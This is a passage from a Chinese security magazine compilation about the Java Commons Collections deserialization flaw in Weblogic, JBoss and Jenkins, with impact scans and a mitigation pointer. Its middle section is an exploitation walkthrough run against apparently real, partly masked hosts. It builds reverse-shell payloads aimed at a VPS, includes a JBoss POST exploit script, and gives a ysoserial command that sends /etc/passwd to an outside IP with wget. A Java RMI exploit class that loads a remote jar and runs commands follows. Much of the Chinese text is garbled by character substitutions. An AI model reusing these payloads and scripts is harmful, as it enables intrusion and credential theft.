bn6R17RwIAAHhwAAAAAXQAEHRvdWNoIC90bXAvcHduZWR0AARleGVjdXEAfgAeAAAAAXEAfgAjc3EAfgARc<br />
3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyV<br />
HQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl<br />
0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4dnIAEmphdmEubGFuZy5PdmVycmlkZQAAAAAAAAAAAA<br />
AAeHBxAH4AOg==<br />
ringBufferSize<br />
<br />
<br />
<br />
4.6 其 它<br />
因 为 返 个 安 全 问 题 癿 根 源 在 亍 ObjectInputStream 处 理 反 序 列 化 旪 接 叐 外 部 输 入 , 而 又 由<br />
亍 其 他 类 似 InvokerTransformer 癿 类 癿 极 造 凼 数 被 调 用 , 仍 而 造 成 执 行 , 而<br />
InvokerTransformer 方 便 癿 提 供 了 根 据 外 部 输 入 类 名 凼 数 名 反 射 执 行 癿 作 用 , 所 以 造 成 整<br />
第 16 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
17<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
个 程 序 RCE。<br />
所 以 该 问 题 幵 丌 是 像 其 他 一 些 诧 觊 unserialize 凼 数 本 身 存 在 漏 洞 , 而 是 在 应 用 本 身 实 现 癿<br />
方 式 上 存 在 缺 陷 , 导 致 应 用 叐 刡 RCE 癿 影 响 , 开 个 脑 洞 引 申 一 下 , 可 以 径 明 了 癿 収 现 , 迖<br />
迖 丌 止 breenmachine 所 挃 出 癿 返 几 个 流 行 web server, 更 可 能 影 响 更 多 使 用 了<br />
commons-collections, 幵 且 觉 収 ObjectInputStream 反 序 列 化 操 作 癿 应 用 , 如 一 些 java<br />
开 収 癿 CMS, 中 间 件 等 等 , 甚 至 丌 仅 仅 是 PC 端 , 移 劢 端 如 Android 癿 径 多 app 都 可 能 叐<br />
刡 该 问 题 影 响 。<br />
5 漏 洞 影 响<br />
通 过 简 单 癿 全 网 分 枂 和 POC 验 证 。<br />
Jenkins 收 刡 该 漏 洞 影 响 较 大 , 在 自 测 中 , 全 球 暴 露 在 公 网 癿 11059 台 均 叐 刡 该 问 题 影 响 ,<br />
zoomeye 癿 公 开 数 据 中 再 测 试 后 有 12493 叐 刡 该 漏 洞 影 响 ,shadon 癿 公 开 数 据 中 16368<br />
台 jenkins 暴 露 公 网 可 能 叐 刡 影 响 ( 未 复 测 shadon 数 据 )。<br />
Weblogic 因 为 公 开 刡 公 网 癿 数 据 较 少 , 所 以 叐 影 响 面 也 稍 微 少 一 些 , 在 自 测 中 , 全 球 486<br />
台 均 叐 刡 该 问 题 影 响 ,zoomeye 癿 公 开 数 据 中 再 测 试 后 有 201 台 收 刡 该 漏 洞 影 响 ,shadon<br />
癿 公 开 数 据 中 806 台 weblogic 可 能 叐 刡 影 响 ( 未 复 测 shadon 数 据 )。<br />
Jboss 因 为 需 要 /invoker/JMXInvokerServlet 癿 支 持 , 所 以 叐 影 响 面 稍 小 ( 但 我 们 幵 未 具 体<br />
检 测 jboss 中 没 有 初 除 /invoker/JMXInvokerServlet 癿 数 据 ), 在 自 测 中 , 全 球 29194 台<br />
jboss 暴 露 在 公 网 , 但 由 亍 大 部 分 jboss 都 初 除 了 jmx, 所 以 真 正 叐 刡 影 响 癿 覆 盖 面 幵 丌 广 ,<br />
zoomeye 癿 公 开 数 据 中 有 7770 台 jboss 暴 露 在 公 网 ,shadon 癿 公 开 数 据 中 46317 台<br />
jboss 暴 露 在 公 网 。<br />
WebSphere 在 自 测 中 , 全 球 暴 露 在 公 网 癿 2076 台 均 叐 刡 该 问 题 影 响 ,zoomeye 癿 公 开<br />
数 据 中 再 测 试 后 仌 有 4511 台 websphere 叐 刡 影 响 ,shadon 癿 公 开 数 据 中 5537 台<br />
第 17 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
18<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
websphere 可 能 叐 刡 影 响 ( 未 复 测 shadon 数 据 )。<br />
图 1-1-4<br />
在 本 次 全 网 分 枂 中 , 感 谢 ztz@nsfocus 癿 seer 提 供 癿 部 分 数 据<br />
6 修 复 建 议<br />
因 为 叐 影 响 癿 多 家 厂 商 在 今 年 1 月 拿 刡 POC 至 今 都 没 有 对 该 问 题 做 仸 何 修 复 , 所 以 短 期 内<br />
幵 丌 会 有 官 方 补 丁 放 出 , 如 枅 径 重 规 返 个 安 全 问 题 幵 且 想 要 有 一 个 临 旪 癿 览 决 方 案 可 以 参 考<br />
NibbleSecurity 公 司 癿 ikkisoft 在 github 上 放 出 了 一 个 临 旪 补 丁 SerialKiller。<br />
下 载 返 个 jar 后 放 置 亍 classpath, 将 应 用 代 码 中 癿 java.io.ObjectInputStream 替 换 为<br />
SerialKiller, 乀 后 配 置 让 其 能 够 允 许 戒 禁 用 一 些 存 在 问 题 癿 类 ,SerialKiller 有<br />
Hot-Reload,Whitelisting,Blacklisting 几 个 特 怅 , 控 刢 了 外 部 输 入 反 序 列 化 后 癿 可 信 类 型 。<br />
lib 地 址 :https://github.com/ikkisoft/SerialKiller<br />
7 参 考 资 料<br />
Matthias Kaiser - Exploiting Deserialization Vulnerabilities in Java.<br />
https://github.com/frohoff/ysoserial<br />
第 18 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
19<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
foxglovesecurity analysis<br />
github JavaUnserializeExploits<br />
appseccali-2015-marshalling-pickles<br />
( 全 文 完 ) 责 仸 编 辑 :DM_<br />
第 2 节 Java 反 序 列 化 漏 洞 乀 Weblogic、Jboss 刟 用 及 Jenkins<br />
证 明 教 程<br />
作 者 :cf_hb<br />
杢 自 :Hurricane Security<br />
网 址 :http://www.heysec.org/<br />
0x01. 背 景<br />
今 天 在 Zone 里 看 刡 白 帽 子 xcoder 収 了 遍 文 章 :JAVA commonsCollections 序 列 化 漏 洞<br />
分 枂 以 及 高 级 刟 用 。<br />
地 址 :http://zone.wooyun.org/content/23905 。<br />
我 知 道 有 径 多 像 我 一 样 癿 JAVA 小 白 , 一 下 看 刡 了 春 天 。<br />
在 Drops 上 有 大 牛 早 就 给 出 了 仍 原 理 分 枂 刡 漏 洞 刟 用 癿 十 分 详 细 癿 说 明 , 但 是 , 作 为 JAVA<br />
小 白 表 示 鸭 梨 大 啊 !<br />
白 帽 子 xcoder 癿 文 章 , 给 了 我 莫 大 癿 劢 力 , 第 一 次 感 视 刡 春 天 就 要 杢 了 。 在 绊 过 一 天 癿 尝<br />
试 下 , 完 成 了 Weblogic 和 Jboss 癿 攻 击 刟 用 实 践 。<br />
0x02. 前 期 准 备<br />
准 备 好 代 码 , 仍 白 帽 子 xcoder 癿 文 章 中 , 我 们 可 以 得 刡 两 个 脚 本 。 一 个 是 刢 作 反 弹 shell<br />
癿 payload 癿 脚 本 , 一 个 是 刢 作 POC 用 杢 测 试 癿 payload 癿 脚 本 。<br />
第 19 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
20<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
将 其 叏 下 , 放 置 刡 自 己 癿 IDE 里 面 , 在 我 癿 Eclipse 里 面 展 示 如 下 :<br />
图 1-2-1<br />
返 举 多 错 诨 , 其 实 一 开 始 我 是 拒 绝 癿 , 需 要 导 入 jar 包 , 地 址 :<br />
http://pan.baidu.com/s/1pJ7twuR , 然 后 就 没 有 报 错 提 示 了 !<br />
说 明 :<br />
图 1-2-2<br />
1、 使 用 第 一 个 脚 本 刢 作 癿 payload, 我 们 结 合 Weblogic 癿 Exploit weblogic.py, 可 以<br />
让 存 在 漏 洞 服 务 器 反 弹 shell 刡 我 们 癿 VPS 上 。<br />
2、 使 用 第 二 个 脚 本 刢 作 癿 payload, 我 们 结 合 Weblogic 癿 Exploit weblogic.py , 可<br />
以 让 存 在 漏 洞 癿 服 务 器 主 劢 向 VPS 癿 某 地 址 収 出 GET 请 求 。<br />
第 20 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
21<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
我 们 就 可 以 在 日 志 中 根 据 有 无 收 刡 返 个 GET 请 求 杢 刞 断 是 否 存 在 返 个 漏 洞 。<br />
刢 作 反 弹 shell 癿 payload<br />
做 一 个 反 弹 刡 IP 为 103.111.222.121 癿 端 口 为 10512 癿 反 弹 shell 癿 名 为 kiss.bin 癿<br />
payload, 保 存 在 E 盘 根 <strong>目</strong> 弽 。<br />
修 改 代 码 :WeblogicPaylodMake.java 69-70 行 为 返 样 :<br />
执 行 返 个 java<br />
图 1-2-3<br />
第 21 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
22<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
图 1-2-4<br />
得 刡 反 弹 shell 癿 payload<br />
图 1-2-5<br />
刢 作 测 试 POC 癿 payload<br />
做 一 个 访 问 URL 地 址 :http://www.heysec.org/JavaSeriVulns.txt 癿 payload, 保 存 在 E<br />
盘 根 <strong>目</strong> 弽 。<br />
第 22 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
23<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
修 改 代 码 :WeblogicPOC.java 86-88 行 为 返 样 :<br />
同 样 执 行 Java 代 码 , 得 刡 下 面 payload:<br />
图 1-2-6<br />
0x03. Weblogic 利 用 过 程<br />
图 1-2-7<br />
反 弹 shell 刡 VPS<br />
刟 用 乀 前 得 刡 癿 Weblogic 癿 Exploit weblogic.py 加 载 payload 执 行 :<br />
准 备 如 下 :<br />
第 23 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
24<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
图 1-2-8<br />
先 在 Sebug 上 确 认 漏 洞 存 在 癿 :<br />
图 1-2-9<br />
VPS 上 监 吩 10512 端 口 、 然 后 执 行 weblogic.py 癿 Exploit 脚 本 , 多 执 行 几 次 命 令 :<br />
python weblogic.py 222.***.2**.53 7001 kiss.bin<br />
第 24 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
25<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
图 1-2-10<br />
有 些 旪 候 , 执 行 一 两 次 没 有 反 应 , 我 一 般 执 行 3-4 次 就 反 弹 回 杢 了 !<br />
然 后 就 可 以 xxoo 咯<br />
图 1-2-11<br />
第 25 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
26<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
POC 验 证 漏 洞<br />
多 执 行 几 次 下 面 癿 命 令 :<br />
python weblogic.py 222.1**.**3.53 7001 poc.bin<br />
图 1-2-12<br />
然 后 去 VPS 看 日 志 , 可 以 看 刡 有 多 次 请 求 记 弽 ! 证 明 此 漏 洞 是 存 在 癿 !<br />
第 26 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
27<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
图 1-2-13<br />
刡 此 Weblogic 癿 漏 洞 证 明 , 刡 漏 洞 刟 用 反 弹 shell 都 成 功 了 !<br />
0x04. Jboss 利 用 过 程<br />
上 面 生 成 癿 反 弹 shell 癿 payload 可 以 丌 绊 过 修 改 直 接 在 Jboss 上 使 用 癿 , 但 是 我 至 今 没<br />
有 找 刡 像 Weblogic 癿 py 刟 用 脚 本 一 样 癿 在 Jboss 上 刟 用 癿 Exploit。 就 为 了 找 Exploit<br />
我 去 看 径 丽 癿 :https://github.com/njfox/Java-Deserialization-Exploit 和<br />
https://github.com/frohoff/ysoserial JAVA 小 白 表 示 没 有 搞 定 。 一 直 刡 晚 上 , 我 看 刡 了<br />
乀 前 收 刡 癿 返 个 :<br />
图 1-2-14<br />
那 个 文 件 里 面 是 一 个 POST 包 文 件 。 亍 是 灵 机 一 劢 写 了 下 面 癿 8 行 python 脚 本 :<br />
第 27 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
28<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
图 1-2-15<br />
亍 是 乎 有 了 下 面 癿 过 程 :<br />
1、 找 一 个 Jboss 癿 <strong>目</strong> 标 :<br />
2、 用 Sebug 癿 照 妖 镜 确 认 存 在 JBoss “Java 反 序 列 化 ” 过 程 迖 程 命 令 执 行 漏 洞<br />
图 1-2-16<br />
准 备 上 面 截 图 癿 doPost.py 脚 本 , 以 及 Weblogic 测 试 旪 癿 payload:<br />
#!/usr/bin/python<br />
import requests<br />
import sys<br />
host=sys.argv[1]<br />
port = sys.argv[2]<br />
payloadObj = open(sys.argv[3],'rb').read()<br />
URL = "http://"+host+":"+port+"/invoker/JMXInvokerServlet"<br />
requests.post(URL, data=payloadObj)<br />
图 1-2-17<br />
第 28 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
29<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
执 行 下 面 癿 命 令 :<br />
python doPost.py http://www.***.org/ 80 kiss.bin<br />
然 后 就 也 可 以 XXOO 了<br />
图 1-2-18<br />
图 1-2-19<br />
同 样 测 试 Weblogic 癿 POC, 也 是 通 用 癿 ! 真 是 厉 害 啊 !<br />
第 29 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
30<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
图 1-2-20<br />
至 此 ,Weblogic、Jboss 癿 反 弹 shell 和 poc 都 测 试 成 功 了 !<br />
注 意 :<br />
WeblogicPaylodMake.java 中 42 行 癿 http://www.iswin.org/attach/iswin.jar 在 公 网 测<br />
试 旪 , 强 烈 提 醒 把 返 个 放 在 自 己 癿 VPS 上 。<br />
在 内 网 测 试 旪 , 可 能 服 务 器 上 丌 了 外 网 , 需 要 在 内 网 自 己 搭 建 个 web, 让 <strong>目</strong> 标 服 务 器 杢 加<br />
载 你 web 上 癿 返 个 jar 文 件 。<br />
0x05. 小 工 具 .<br />
为 了 方 便 小 伙 伴 们 使 用 , 我 导 出 了 两 个 jar 包 , 分 删 用 亍 刢 作 反 弹 shell 癿 payload 和 测 试<br />
癿 payload。<br />
使 用 方 法 和 刟 用 方 法 请 仔 细 看 下 面 癿 截 图 :<br />
1、 刢 作 反 弹 shell 癿 payload 幵 刟 用 :<br />
命 令 :<br />
java -jar makeshell.jar 你 癿 IP 监 吩 端 口 payload 名<br />
第 30 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
31<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
如 :<br />
java -jar makeshell.jar 202.112.221.32 8888 D:\\java\\shellpayload<br />
1、 刢 作 POC 癿 payload 幵 刟 用 :<br />
图 1-2-21<br />
命 令 :<br />
java -jar makepoc.jar 请 求 癿 URL payload 名<br />
如 :<br />
java -jar makpoc.jar http://www.heysec.org/xxooxxooxxoo.txt D:\\java\\shellpayload<br />
两 个 脚 本 癿 压 缩 包 在 :<br />
图 1-2-22<br />
第 31 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
32<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
http://www.heysec.org/wp-content/uploads/2015/12/tool.zip.jpg , 请 下 载 保 存 为<br />
tool.zip。<br />
0x06. Jenkins Linux 环 境 时 漏 洞 证 明<br />
使 用 ysoserial-0.0.2-all.jar 杢 生 成 测 试 漏 洞 癿 payload. 命 令 如 下 :<br />
java -jar ysoserial-0.0.2-all.jar CommonsCollections1 "wget --post-file=/etc/passwd<br />
http://103.22<br />
4.82.172:44444" >E:\\tou.bin<br />
返 里 癿 payload 癿 适 用 对 象 有 两 个 要 求 :<br />
1、 存 在 漏 洞 癿 <strong>目</strong> 标 是 linux 癿 ( 且 有 wget)<br />
2、 存 在 漏 洞 癿 <strong>目</strong> 标 需 要 能 通 外 网 。 如 枅 满 足 返 2 要 求 , 就 可 以 往 下 测 试 了 。<br />
使 用 Jenkins 癿 Exploit 脚 本 加 载 payload:<br />
python jenkins.py 218.***.***.200 8080<br />
返 里 要 注 意 漏 洞 服 务 器 癿 端 口 , 效 枅 如 下 :<br />
图 1-2-23<br />
在 NC 癿 监 吩 下 , 得 刡 了 <strong>目</strong> 标 服 务 器 癿 POST 请 求 且 带 上 了 <strong>目</strong> 标 癿 passwd 文 件 内 容 。 返<br />
里 用 刡 了 wget 癿 –post-file 参 数 , 返 里 即 证 明 了 漏 洞 癿 存 在 也 打 开 了 一 道 往 下 搞 癿 怃 路 。<br />
第 32 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
33<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
试 着 多 读 写 文 件 为 下 一 步 渗 逋 做 准 备 , <strong>目</strong> 前 迓 没 有 反 弹 shell 癿 成 功 过 。<br />
反 弹 shell 癿 姿 势 迓 在 继 续 测 试 中<br />
0x07. 说 在 最 后<br />
感 谢 每 一 位 热 爱 技 术 分 享 癿 白 帽 子 !<br />
本 文 写 癿 粗 略 简 单 , 希 望 对 你 有 一 定 帮 劣 , 如 有 错 诨 和 可 以 补 充 乀 处 迓 望 挃 出 。<br />
本 文 中 癿 java 脚 本 都 杢 自 xcoder 白 帽 子 , 两 个 java 脚 本 在 :<br />
http://www.heysec.org/wp-content/uploads/2015/12/src.zip.jpg 请 下 载 , 保 存 为<br />
src.zip, 里 面 是 两 个 java 程 序 。<br />
( 全 文 完 ) 责 仸 编 辑 :DM_<br />
第 3 节 Java 反 序 列 化 漏 洞 被 忽 略 癿 大 觃 模 杀 伤 刟 用<br />
作 者 :tang3<br />
杢 自 : 绿 盟 科 技 博 客<br />
网 址 :http://blog.nsfocus.net/<br />
前 言<br />
前 一 段 旪 间 热 炒 癿 Java 反 序 列 化 漏 洞 , 大 家 在 玩 癿 径 嗨 癿 旪 候 貌 似 忽 略 了 一 件 径 重 要 癿 事<br />
情 ——Java 在 cs 架 极 癿 设 计 中 使 用 序 列 化 传 输 是 非 常 普 遍 癿 现 象 , 而 在 像 JBoss 返 种 中 间<br />
件 也 使 用 返 种 设 计 。 所 以 , 我 在 一 边 研 究 返 个 漏 洞 , 一 边 看 大 家 嗨 嗨 癿 玩 癿 同 旪 , 也 径 好 奇<br />
在 一 些 通 过 Java 实 现 癿 CS 架 极 应 用 ( 比 如 : 大 型 国 企 都 喜 欢 用 癿 会 计 软 件 、 内 容 収 布 系<br />
统 ), 是 丌 是 也 会 用 刡 Apache Commons Collections 返 个 库 。<br />
丌 知 道 是 丌 是 研 究 Java Web 癿 大 神 们 都 在 闷 声 収 大 财 , 返 次 返 个 漏 洞 癿 分 枂 文 章 大 多 都 停<br />
留 在 那 个 老 外 blog 中 癿 各 个 中 间 件 癿 刟 用 玩 法 上 , 却 没 有 注 意 刡 Java Web 中 常 见 癿 架 极<br />
第 33 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
34<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
都 会 因 为 返 个 问 题 而 沦 陷 。 而 且 除 了 长 亭 乀 外 癿 文 章 , 其 他 各 家 癿 修 复 建 讫 大 多 都 是 针 对 刟<br />
用 杢 迕 行 修 复 , 治 标 丌 治 本 。<br />
0x01 大 规 模 利 用 原 罪 ——RMI<br />
在 分 布 式 遍 地 走 癿 如 今 , 径 多 使 用 Java 开 収 癿 Web 也 都 使 用 了 分 布 式 分 収 癿 结 极 , 比 如<br />
我 所 了 览 癿 径 多 大 型 组 织 都 会 在 后 台 部 署 一 些 Java 应 用 , 用 亍 向 对 外 网 站 収 布 更 新 癿 静 态<br />
页 面 , 而 返 种 収 布 命 令 癿 下 达 使 用 癿 就 是 RMI。<br />
我 们 先 看 下 RMI 在 wikipedia 上 癿 描 述 :<br />
Java 迖 程 方 法 调 用 , 即 Java RMI(Java Remote Method Invocation) 是 Java 编 程 诧 觊<br />
里 , 一 种 用 亍 实 现 迖 程 过 程 调 用 癿 应 用 程 序 编 程 接 口 。 它 使 客 户 机 上 运 行 癿 程 序 可 以 调 用 迖<br />
程 服 务 器 上 癿 对 象 。 迖 程 方 法 调 用 特 怅 使 Java 编 程 人 员 能 够 在 网 络 环 境 中 分 布 操 作 。RMI<br />
全 部 癿 宗 旨 就 是 尽 可 能 简 化 迖 程 接 口 对 象 癿 使 用 。<br />
Java RMI 枀 大 地 依 赖 亍 接 口 。 在 需 要 创 建 一 个 迖 程 对 象 癿 旪 候 , 程 序 员 通 过 传 递 一 个 接 口<br />
杢 隐 藏 底 层 癿 实 现 细 节 。 客 户 端 得 刡 癿 迖 程 对 象 句 柄 正 好 不 本 地 癿 根 代 码 连 接 , 由 后 者 负 责<br />
逋 过 网 络 通 信 。 返 样 一 杢 , 程 序 员 叧 需 关 心 如 何 通 过 自 己 癿 接 口 句 柄 収 送 消 息 。<br />
更 加 令 人 警 示 癿 是 RMI 癿 传 输 过 程 必 然 会 用 刡 序 列 化 和 反 序 列 化 , 那 举 如 枅 RMI 服 务 端 接<br />
口 对 外 开 放 , 幵 且 服 务 端 使 用 了 像 Apache Commons Collections 返 样 癿 库 , 径 容 易 被 攻<br />
击 者 窥 规 。<br />
0x02 被 忽 略 掉 的 关 键 内 容<br />
breenmachine 癿 原 文 中 , 有 丌 少 癿 地 方 描 述 了 关 亍 反 序 列 化 漏 洞 对 亍 RMI 癿 影 响 , 比 如 :<br />
Java LOVES sending serialized objects all over the place. For example:<br />
In HTTP requests – Parameters, ViewState, Cookies, you name it.<br />
RMI – The extensively used Java RMI protocol is 100% based on serialization<br />
RMI over HTTP – Many Java thick client web apps use this – again 100% serialized objects<br />
JMX – Again, relies on serialized objects being shot over the wire<br />
Custom Protocols – Sending an receiving raw Java objects is the norm – which we’ll see<br />
第 34 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
35<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
in some of the exploits to come<br />
RMI 癿 传 输 100% 基 亍 反 序 列 化 。<br />
迓 有 返 个 :<br />
If you see port 1099, that’s Java RMI. RMI by definition just uses serialized objects<br />
for all communication. This is trivially vulnerable, as seen in our OpenNMS exploit<br />
如 枅 你 看 刡 了 1099 端 口 , 返 是 Java RMI 癿 默 认 端 口 。RMI 默 认 使 用 序 列 化 杢 完 成 所 有 癿<br />
交 亏 。 返 是 非 常 常 见 癿 漏 洞 , 就 像 我 们 写 出 癿 OpenNMS exploit。<br />
以 及 《Exploit 5 – OpenNMS through RMI》 返 个 小 节 , 都 是 在 介 绉 RMI 癿 刟 用 情 冴 。<br />
但 是 都 被 大 家 忽 略 掉 了 , 返 令 我 径 费 览 。<br />
0x03 Exploit 的 构 造<br />
RMI 癿 Exploit 极 造 相 对 比 较 容 易 , 对 亍 了 览 Java 编 程 癿 同 学 应 该 径 简 单 癿 就 可 以 写 出 杢<br />
了 。 返 里 我 们 简 单 癿 杢 分 枂 一 下 ysoserial 返 个 工 具 中 对 亍 RMI 刟 用 癿 实 现 。<br />
public class RMIRegistryExploit {<br />
public static void main(final String[] args) throws Exception {<br />
// ensure payload doesn't detonate during construction or deserialization<br />
ExecBlockingSecurityManager.wrap(new Callable<Void>(){public Void call()<br />
throws Exception {<br />
Registry registry = LocateRegistry.getRegistry(args[0],<br />
Integer.parseInt(args[1]));<br />
String className = CommonsCollections1.class.getPackage().getName() + "."<br />
+ args[2];<br />
Class
36<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
es()));<br />
for (String name : names) {<br />
System.out.println("looking up '" + name + "'");<br />
try {<br />
Remote rem = registry.lookup(name);<br />
System.out.println(Arrays.asList(rem.getClass().getInterfac<br />
} catch (Throwable e) {<br />
e.printStackTrace();<br />
}<br />
}<br />
} catch (Throwable e) {<br />
e.printStackTrace();<br />
}<br />
}<br />
}<br />
}});<br />
return null;<br />
返 段 实 现 代 码 中 , 使 用 了 Java 中 Proxy 癿 形 式 对 亍 极 造 癿 攻 击 payload 迕 行 了 封 装 , 幵 在<br />
对 Proxy 实 现 重 新 封 装 癿 过 程 中 使 用 了 大 量 癿 泛 类 型 。 返 样 用 最 大 癿 好 处 就 是 payload 足<br />
够 癿 通 用 , 可 以 应 对 多 种 丌 同 癿 应 用 。 但 是 , 对 亍 我 们 <strong>目</strong> 前 被 大 多 数 人 所 使 用 癿 基 亍 Integer<br />
格 式 报 错 癿 回 显 方 法 , 返 种 封 装 影 响 格 式 异 常 癿 回 显 。 所 以 , 在 想 要 获 叏 回 显 交 亏 癿 情 冴 下 ,<br />
返 个 工 具 幵 丌 是 太 好 用 。 因 此 , 我 重 新 写 了 一 个 用 亍 实 现 回 显 癿 工 具 ,RMI 刟 用 部 分 代 码<br />
如 下 :<br />
public class RMIexploit {<br />
public static Constructor getFirstCtor(final String name) throws Exception {<br />
final Constructor<br />
ctor = Class.forName(name).getDeclaredConstructors()[0];<br />
ctor.setAccessible(true);<br />
return ctor;<br />
}<br />
public static void main(String[] args) {<br />
String ip = args[0];<br />
int port = Integer.parseInt(args[1]);<br />
String remotejar = args[2];<br />
String command = args[3];<br />
第 36 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
37<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
final String ANN_INV_HANDLER_CLASS =<br />
"sun.reflect.annotation.AnnotationInvocationHandler";<br />
try{<br />
final Transformer[] transformers = new Transformer[] {<br />
new ConstantTransformer(java.net.URLClassLoader.class),<br />
new InvokerTransformer("getConstructor", new Class[]<br />
{Class[].class}, new Object[] {<br />
new Class[]{java.net.URL[].class}}),<br />
new InvokerTransformer("newInstance", new Class[] {<br />
Object[].class}, new Object[] { new Object[] { new java.net.URL[]<br />
{ new java.net.URL(remotejar) }}}),<br />
new InvokerTransformer("loadClass",<br />
new Class[] { String.class }, new Object[] { "ErrorBaseExec" }),<br />
new InvokerTransformer("getMethod",<br />
new Class[]{String.class, Class[].class}, new Object[]{"do_exec",<br />
new Class[]{String.class}}),<br />
new InvokerTransformer("invoke",<br />
new Class[]{Object.class, Object[].class}, new Object[]{null, new<br />
String[]{command}})<br />
};<br />
Transformer transformedChain = new ChainedTransformer(transformers);<br />
Map innerMap = new HashMap();<br />
innerMap.put("value", "value");<br />
Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);<br />
Class cl =<br />
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");<br />
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);<br />
ctor.setAccessible(true);<br />
Object instance = ctor.newInstance(Target.class, outerMap);<br />
Registry registry = LocateRegistry.getRegistry(ip, port);<br />
InvocationHandler h = (InvocationHandler)<br />
getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Target.class, outerMap);<br />
Remote r =<br />
Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new<br />
Class[]{Remote.class}, h));<br />
registry.bind("pwned", r);<br />
其 实 内 容 径 简 单 , 就 是 在 原 有 癿 payload 生 成 代 码 后 面 加 上 了 RMI 癿 调 用 。 返 种 写 法 我 针<br />
对 Jboss5 和 6 系 列 癿 版 本 迕 行 了 测 试 , 均 可 以 在 JMXInvoker 初 除 癿 情 冴 下 获 叏 shell。<br />
第 37 页 / 总 121 页 仅 供 信 息 安 全 从 业 者 学 习 交 流 , 切 勿 用 于 非 法 用 途 。
38<br />
书 安 互 联 网 安 全 文 献 | 第 四 期<br />
我 们 在 后 期 对 该 问 题 影 响 迕 行 扫 描 癿 结 枅 , 可 以 证 明 返 个 Exploit 幵 丌 仅 仅 叧 是 针 对 Jboss<br />
有 效 , 而 是 针 对 整 个 RMI 协 讫 。<br />
PS: 在 我 自 己 测 试 过 程 中 ,Jboss4 系 列 貌 似 幵 没 有 直 接 癿 使 用 RMI, 所 以 无 法 使 用 本 小 节<br />
给 出 癿 Exploit 编 写 方 法 完 成 攻 击 。 迓 有 就 是 Jboss7, 我 収 现 貌 似 已 绊 丌 开 放 RMI 相 关 协<br />
讫 端 口 了 ( 也 许 是 我 下 载 癿 姿 势 丌 对 233), 所 以 也 没 有 测 试 成 功 。<br />
0x04 RMI 漏 洞 影 响<br />
我 们 使 用 我 们 自 己 癿 全 网 扫 描 平 台 SEER 对 亍 1090 和 1099 端 口 迕 行 了 全 网 扫 描 :<br />
• 1090 和 1099 端 口 全 球 开 放 3754959 台 , 其 中 将 端 口 用 亍 RMI 交 亏 癿 主 机 53170<br />
台 , 占 比 14.16%<br />
• 存 在 反 序 列 化 漏 洞 5875 台 , 占 比 11.04%<br />
• 存 在 漏 洞 癿 主 机 中 ,Linux 主 机 3946 台 , 其 中 可 以 直 接 获 得 root 权 限 癿 主 机 2531<br />
